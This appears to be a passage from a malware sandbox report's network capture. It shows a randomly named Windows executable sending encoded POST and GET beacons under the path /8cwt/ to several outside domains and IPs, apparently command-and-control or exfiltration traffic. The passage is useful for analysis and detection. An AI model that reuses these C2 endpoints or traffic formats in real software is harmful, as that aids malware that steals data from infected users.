Jun 4, 2024 14:15:44.811589956 CEST	533	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:15:44 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.30	49853	203.161.49.193	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:47.339118958 CEST	1629	OUT	POST /8cwt/ HTTP/1.1 Host: www.innovtech.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.innovtech.life Referer: http://www.innovtech.life/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 66 51 42 6d 6d 59 7a 36 71 76 4b 2b 43 2b 4c 65 7a 50 74 42 33 52 78 31 51 70 7a 63 6d 38 54 44 37 75 65 39 41 51 39 48 68 34 77 6e 4f 64 57 71 37 4e 48 7a 73 56 62 62 37 6d 30 73 77 4e 75 42 65 30 79 54 6e 31 35 55 6a 41 33 73 79 49 48 73 75 4d 34 4c 50 66 49 67 4f 71 66 50 39 37 4a 2f 30 34 61 6f 6a 42 34 36 4e 39 53 64 4c 76 41 75 71 31 33 5a 48 71 43 36 77 36 59 77 2f 43 78 2b 6e 65 52 4f 59 71 39 63 61 4b 68 76 69 75 6d 2f 4b 4d 77 68 66 64 48 63 78 4e 34 44 4d 30 56 6f 56 41 39 43 32 58 38 44 2f 63 4a 39 63 4d 50 51 79 55 30 56 47 6f 65 47 31 51 6a 79 68 79 4a 34 30 2f 62 63 36 59 50 53 33 68 4b 4f 7a 68 6c 6e 39 2b 48 34 76 4b 4f 78 71 2f 72 50 52 37 75 7a 33 43 36 55 61 6c 4d 62 2b 4a 54 75 49 79 64 42 57 5a 7a 76 5a 72 2f 6a 58 72 79 2b 61 4f 6a 52 49 52 43 51 4e 70 56 76 31 62 58 36 64 77 51 42 32 39 65 73 65 6e 7a 68 34 77 74 6d 66 70 46 6a 53 65 64 6e 7a 63 32 38 6a 65 71 53 66 43 71 53 75 44 4c 58 57 57 55 37 36 64 35 6d 61 42 30 54 52 59 33 41 42 65 2b 78 68 56 59 [TRUNCATED] Data Ascii: 24eluX=fQBmmYz6qvK+C+LezPtB3Rx1Qpzcm8TD7ue9AQ9Hh4wnOdWq7NHzsVbb7m0swNuBe0yTn15UjA3syIHsuM4LPfIgOqfP97J/04aojB46N9SdLvAuq13ZHqC6w6Yw/Cx+neROYq9caKhvium/KMwhfdHcxN4DM0VoVA9C2X8D/cJ9cMPQyU0VGoeG1QjyhyJ40/bc6YPS3hKOzhln9+H4vKOxq/rPR7uz3C6UalMb+JTuIydBWZzvZr/jXry+aOjRIRCQNpVv1bX6dwQB29esenzh4wtmfpFjSednzc28jeqSfCqSuDLXWWU76d5maB0TRY3ABe+xhVYaNJahIx/TGyu3UVHEvALcr/79udhI8FMfSV9znbVokJCWmmJxiXnUUtXLvX2K/ooo46NSFz1h5NsWaa3LAkwJjR+2s8kpKLNiTPUnrLlsqVOFo4g/yE/MrG+6mmu3kleid/66rhLE3aTFgB1B1nx5rIdsyITeP5oLFiwyEUIocWD2LNuHernjvh06m+J1GeRQKFnAMSAjpY4LhoSMXYVp4vPE3E5Nelx4F68rzw0zHSEM3jEt+jXtKXt+JscL0A2mj32JDNHG+Wdqob0vedtJEv9+8RL8ahYoxSTm2WqM0olJ7VquuhL370R6hzDAZpCR9LKpjtOxSBwVOpRwzS9y+GMdBvZaiwOOn05k+3vVqNUpQ0A0/fkXxhaXTebO6LRcDcmoUIMMEVxQBS6uQVK4XAyqcYO8NzavsVKliQ786lc9RV8PxB53xAro+UGq6oCu/7MhGxMe71LPNXRVTOtTY/IQTdP2m7T0kWY12CQHzhusYxGlKo9MwpqDUwGZClOkqbOa7pzzOrx3kAOFCkUrEsetFFO8+vjfiva+ZpIeuoJbTxX9hjXg4RiZdDz1jwsZ/SorhYjCb1Vlj4bgDjEWqeP4l5FY5Rrpdoz5dRNe0CtKP0RnAWmCeYLPhkaLdfFrkidTngE1GpiBsPKyV0wzyQ/6rXtjb73FV [TRUNCATED]
Jun 4, 2024 14:15:47.530402899 CEST	533	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:15:47 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.30	49854	203.161.49.193	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:50.046983957 CEST	429	OUT	GET /8cwt/?24eluX=SSpGlvD+1syJM+fS7Z8C1Cd2ZLeBmOr+68qPZxMelqgcCM6DsfmVmmLjkXM2/P+9S0q4oxoduwfupYzMqMwdcdYcBeP38sFbk5TUrAJPEOGdI/gD7BvPJp4=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.innovtech.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:15:50.239666939 CEST	548	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:15:50 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.30	49855	91.195.240.123	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:55.670871973 CEST	674	OUT	POST /8cwt/ HTTP/1.1 Host: www.k4ryd.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.k4ryd.us Referer: http://www.k4ryd.us/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 39 4c 4c 4d 6f 61 75 57 4f 6b 75 51 4c 2f 71 6a 4e 5a 55 2b 69 41 31 6b 36 4d 33 64 49 2b 45 36 65 49 42 78 45 34 62 52 62 67 4c 6b 39 34 58 47 37 69 2b 51 57 55 2b 37 71 54 50 6b 2f 4c 6d 4a 46 55 79 64 45 76 61 7a 6c 31 73 4e 2b 32 78 63 37 67 73 75 59 39 52 7a 6a 32 33 47 47 68 62 7a 35 65 42 71 7a 44 4c 72 70 4a 71 37 44 66 61 7a 56 62 4d 30 66 76 39 65 70 55 30 4c 34 37 78 6c 31 38 68 6b 38 64 6e 4d 31 78 4e 33 48 70 39 55 41 4d 72 30 79 71 37 44 61 45 65 62 71 58 46 4c 6c 75 74 42 38 71 64 74 33 69 78 70 61 41 47 36 59 2b 52 56 57 68 4d 47 69 47 6d 63 32 47 42 75 59 41 3d 3d Data Ascii: 24eluX=9LLMoauWOkuQL/qjNZU+iA1k6M3dI+E6eIBxE4bRbgLk94XG7i+QWU+7qTPk/LmJFUydEvazl1sN+2xc7gsuY9Rzj23GGhbz5eBqzDLrpJq7DfazVbM0fv9epU0L47xl18hk8dnM1xN3Hp9UAMr0yq7DaEebqXFLlutB8qdt3ixpaAG6Y+RVWhMGiGmc2GBuYA==
Jun 4, 2024 14:15:55.897732019 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.30	49856	91.195.240.123	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:58.423022032 CEST	694	OUT	POST /8cwt/ HTTP/1.1 Host: www.k4ryd.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.k4ryd.us Referer: http://www.k4ryd.us/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 39 4c 4c 4d 6f 61 75 57 4f 6b 75 51 4b 63 43 6a 4d 36 73 2b 6b 67 31 6e 2f 4d 33 64 48 65 45 41 65 49 64 78 45 38 43 57 62 57 7a 6b 39 5a 6e 47 30 41 57 51 59 30 2b 37 7a 6a 50 62 77 72 6d 53 46 55 2f 67 45 76 6d 7a 6c 31 6f 4e 2b 32 68 63 36 58 77 76 4a 39 52 31 71 57 33 45 49 42 62 7a 35 65 42 71 7a 44 50 4e 70 4a 79 37 44 50 4b 7a 57 36 4d 72 42 2f 39 42 68 30 30 4c 38 37 78 68 31 38 68 57 38 5a 48 71 31 30 4a 33 48 74 78 55 41 2b 44 33 34 71 37 42 45 30 66 2b 35 48 52 46 6b 75 4a 64 79 70 41 30 35 43 64 4c 53 33 33 67 46 39 6c 58 46 42 77 72 2b 48 4c 30 30 45 41 31 46 44 46 6d 45 6a 70 66 75 4e 69 56 46 6f 54 67 4f 6d 58 35 66 44 45 3d Data Ascii: 24eluX=9LLMoauWOkuQKcCjM6s+kg1n/M3dHeEAeIdxE8CWbWzk9ZnG0AWQY0+7zjPbwrmSFU/gEvmzl1oN+2hc6XwvJ9R1qW3EIBbz5eBqzDPNpJy7DPKzW6MrB/9Bh00L87xh18hW8ZHq10J3HtxUA+D34q7BE0f+5HRFkuJdypA05CdLS33gF9lXFBwr+HL00EA1FDFmEjpfuNiVFoTgOmX5fDE=
Jun 4, 2024 14:15:58.654165030 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.30	49857	91.195.240.123	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:16:01.185097933 CEST	1611	OUT	POST /8cwt/ HTTP/1.1 Host: www.k4ryd.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.k4ryd.us Referer: http://www.k4ryd.us/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 39 4c 4c 4d 6f 61 75 57 4f 6b 75 51 4b 63 43 6a 4d 36 73 2b 6b 67 31 6e 2f 4d 33 64 48 65 45 41 65 49 64 78 45 38 43 57 62 56 54 6b 38 71 76 47 31 6e 4b 51 62 30 2b 37 37 44 50 65 77 72 6e 53 46 55 6e 6b 45 76 71 4e 6c 33 67 4e 73 46 5a 63 75 32 77 76 41 39 52 31 6e 32 33 4a 47 68 62 63 35 65 52 32 7a 44 2f 4e 70 4a 79 37 44 4a 47 7a 43 37 4d 72 44 2f 39 65 70 55 30 66 34 37 78 4a 31 34 46 73 38 5a 44 63 31 41 39 33 48 4a 64 55 54 39 72 33 30 71 37 35 46 30 66 63 35 48 4d 48 6b 75 46 76 79 74 42 66 35 42 4e 4c 57 53 65 44 57 66 78 65 54 6a 73 31 2f 6b 50 4a 31 45 63 6a 44 52 46 63 43 69 6b 68 71 74 6d 68 44 49 50 72 66 6d 44 31 44 44 74 65 67 66 32 2b 58 35 62 4e 52 47 51 7a 6d 42 78 72 6b 4c 2f 62 5a 6f 73 68 70 61 62 43 4d 4b 51 69 72 63 75 30 51 74 42 63 36 45 44 7a 4d 65 78 6a 6b 46 51 4d 76 72 4b 51 71 2b 67 6d 6f 34 49 2f 65 68 5a 67 73 4f 6e 42 52 50 56 39 6e 6a 78 36 50 36 66 62 7a 4e 63 78 31 46 58 71 69 6c 45 77 58 55 76 59 71 6a 70 79 6e 72 75 65 57 58 31 79 5a 6f 4f [TRUNCATED] Data Ascii: 24eluX=9LLMoauWOkuQKcCjM6s+kg1n/M3dHeEAeIdxE8CWbVTk8qvG1nKQb0+77DPewrnSFUnkEvqNl3gNsFZcu2wvA9R1n23JGhbc5eR2zD/NpJy7DJGzC7MrD/9epU0f47xJ14Fs8ZDc1A93HJdUT9r30q75F0fc5HMHkuFvytBf5BNLWSeDWfxeTjs1/kPJ1EcjDRFcCikhqtmhDIPrfmD1DDtegf2+X5bNRGQzmBxrkL/bZoshpabCMKQircu0QtBc6EDzMexjkFQMvrKQq+gmo4I/ehZgsOnBRPV9njx6P6fbzNcx1FXqilEwXUvYqjpynrueWX1yZoOgKQ0lmTzbhHFDFBx3R/BytG/hb99HY62uRGyjv+oCX9B8T1Ayvf4o/Q0KagAEVAKeTbzf7G7BTp80jAYIdv66rt50H4H6eioXC3NiKa1iyJDHN31PqdSkpg2RTeMGJDQQZwzK0cmtxwh/6spDY1vo23xgjxBGtYVvD9xpWR2cyfjLtLB8i1VMsVRzKX4Mtz2yPLhjE9qW/sN/KDQVVQ+wyRtg9CNvsUbiG6a8EzqpOBx3tyQLUbNnnYC0MR5LTc6VjDE9mnbTCfnkI9i0zaBrxQ3sWTm2HvrHBpEmmYGcRjKj4BINpsG1IWCLpOflT9FrMgI8psbqym4F/8pNv887m9EpBQf2cn8fZTUIaJzjCRlDkdsj5AUHfmBFUoPhA1RYx+QKadY+9sbLe9gnM1CJr4kUmI+wLYXSjvnk+Urzfb7gOf6u8jFSUvjM2axpA8/ziq6VgpL00AauUT8WdWsYk6tLZQlBGC4jajLYw5/UYbXGPLxof8CaiuONeURmm8cDtCud1LzwCvF18ZJr6ocLX3egckcz0mc2KNRT26QquzoPa3IvJeE86G6k35hdCnqUqeXNUYzrU/nktIXLzWA0vVVZjp/aAvSENlCz0pIw1xlZLD+16kUzWlIzWWR0m4MlyRd5cfddnYMPeEXpGE06x1VEvFz9zwU1x [TRUNCATED]
Jun 4, 2024 14:16:01.412623882 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.30	49858	91.195.240.123	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:16:03.932521105 CEST	423	OUT	GET /8cwt/?24eluX=wJjsrv+xTFW5EezvLu5DoT5e4On1D8g+dr15EOXITWTD1anv0RLrfGS01TvW8pCuGmfcOvvelUpztksk4WpfZfFxijTtARXG8NIL7Taa8Kq3eoSsUv86NcY=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.k4ryd.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:16:04.157922983 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.30	49860	66.81.203.196	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:17:43.404165983 CEST	707	OUT	POST /8cwt/ HTTP/1.1 Host: www.accentbathrooms.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.accentbathrooms.com Referer: http://www.accentbathrooms.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 34 37 79 38 79 63 32 55 70 73 4d 42 56 76 6d 41 6a 76 53 63 65 77 49 36 6e 64 79 63 32 42 4a 42 79 66 6e 30 55 35 36 73 4a 4e 5a 52 38 6d 6c 6f 35 4c 50 6d 42 52 67 44 47 42 43 7a 72 61 37 39 6c 7a 35 39 4f 37 56 49 38 62 73 6b 57 6f 72 43 4c 74 2f 48 65 4a 38 6d 64 52 67 32 52 50 71 54 4e 34 65 6f 35 62 44 47 4c 78 4e 50 30 2b 39 6a 41 35 55 31 75 59 47 51 78 59 54 66 34 70 33 37 71 75 49 45 6c 79 75 71 4f 45 69 35 69 57 50 54 35 52 6f 34 2b 48 4a 64 66 45 2b 4f 39 6d 47 31 6d 74 4b 46 54 30 37 4a 41 34 55 45 32 73 59 31 6a 4c 59 6b 78 66 41 4c 4a 6e 2f 78 56 35 43 31 61 77 3d 3d Data Ascii: 24eluX=47y8yc2UpsMBVvmAjvScewI6ndyc2BJByfn0U56sJNZR8mlo5LPmBRgDGBCzra79lz59O7VI8bskWorCLt/HeJ8mdRg2RPqTN4eo5bDGLxNP0+9jA5U1uYGQxYTf4p37quIElyuqOEi5iWPT5Ro4+HJdfE+O9mG1mtKFT07JA4UE2sY1jLYkxfALJn/xV5C1aw==
Jun 4, 2024 14:17:43.562356949 CEST	380	IN	HTTP/1.1 403 Forbidden Server: nginx/1.14.2 Date: Tue, 04 Jun 2024 12:17:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.30	49861	66.81.203.196	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:17:46.092276096 CEST	727	OUT	POST /8cwt/ HTTP/1.1 Host: www.accentbathrooms.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.accentbathrooms.com Referer: http://www.accentbathrooms.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 34 37 79 38 79 63 32 55 70 73 4d 42 55 4d 75 41 6c 38 4b 63 59 51 49 35 36 74 79 63 6a 78 49 49 79 66 37 30 55 35 53 43 49 2f 74 52 38 48 56 6f 36 4a 33 6d 43 52 67 44 4f 68 43 36 68 36 37 79 6c 7a 30 41 4f 2f 64 49 38 59 51 6b 57 74 76 43 4b 65 6e 45 4d 70 38 65 62 52 67 77 63 76 71 54 4e 34 65 6f 35 66 6a 38 4c 79 39 50 30 74 6c 6a 41 63 34 32 77 6f 47 50 6e 49 54 66 38 70 33 67 71 75 4a 52 6c 77 61 51 4f 41 53 35 69 58 2f 54 36 45 45 6e 30 48 4a 45 53 6b 2f 6b 79 45 71 77 73 70 36 36 65 53 6a 41 4b 4e 4d 36 7a 37 70 76 2b 49 73 6d 69 2f 38 6d 56 6d 53 5a 58 37 44 75 48 2f 37 4d 42 42 79 38 42 53 63 6c 77 6b 42 66 41 6a 71 4a 41 73 67 3d Data Ascii: 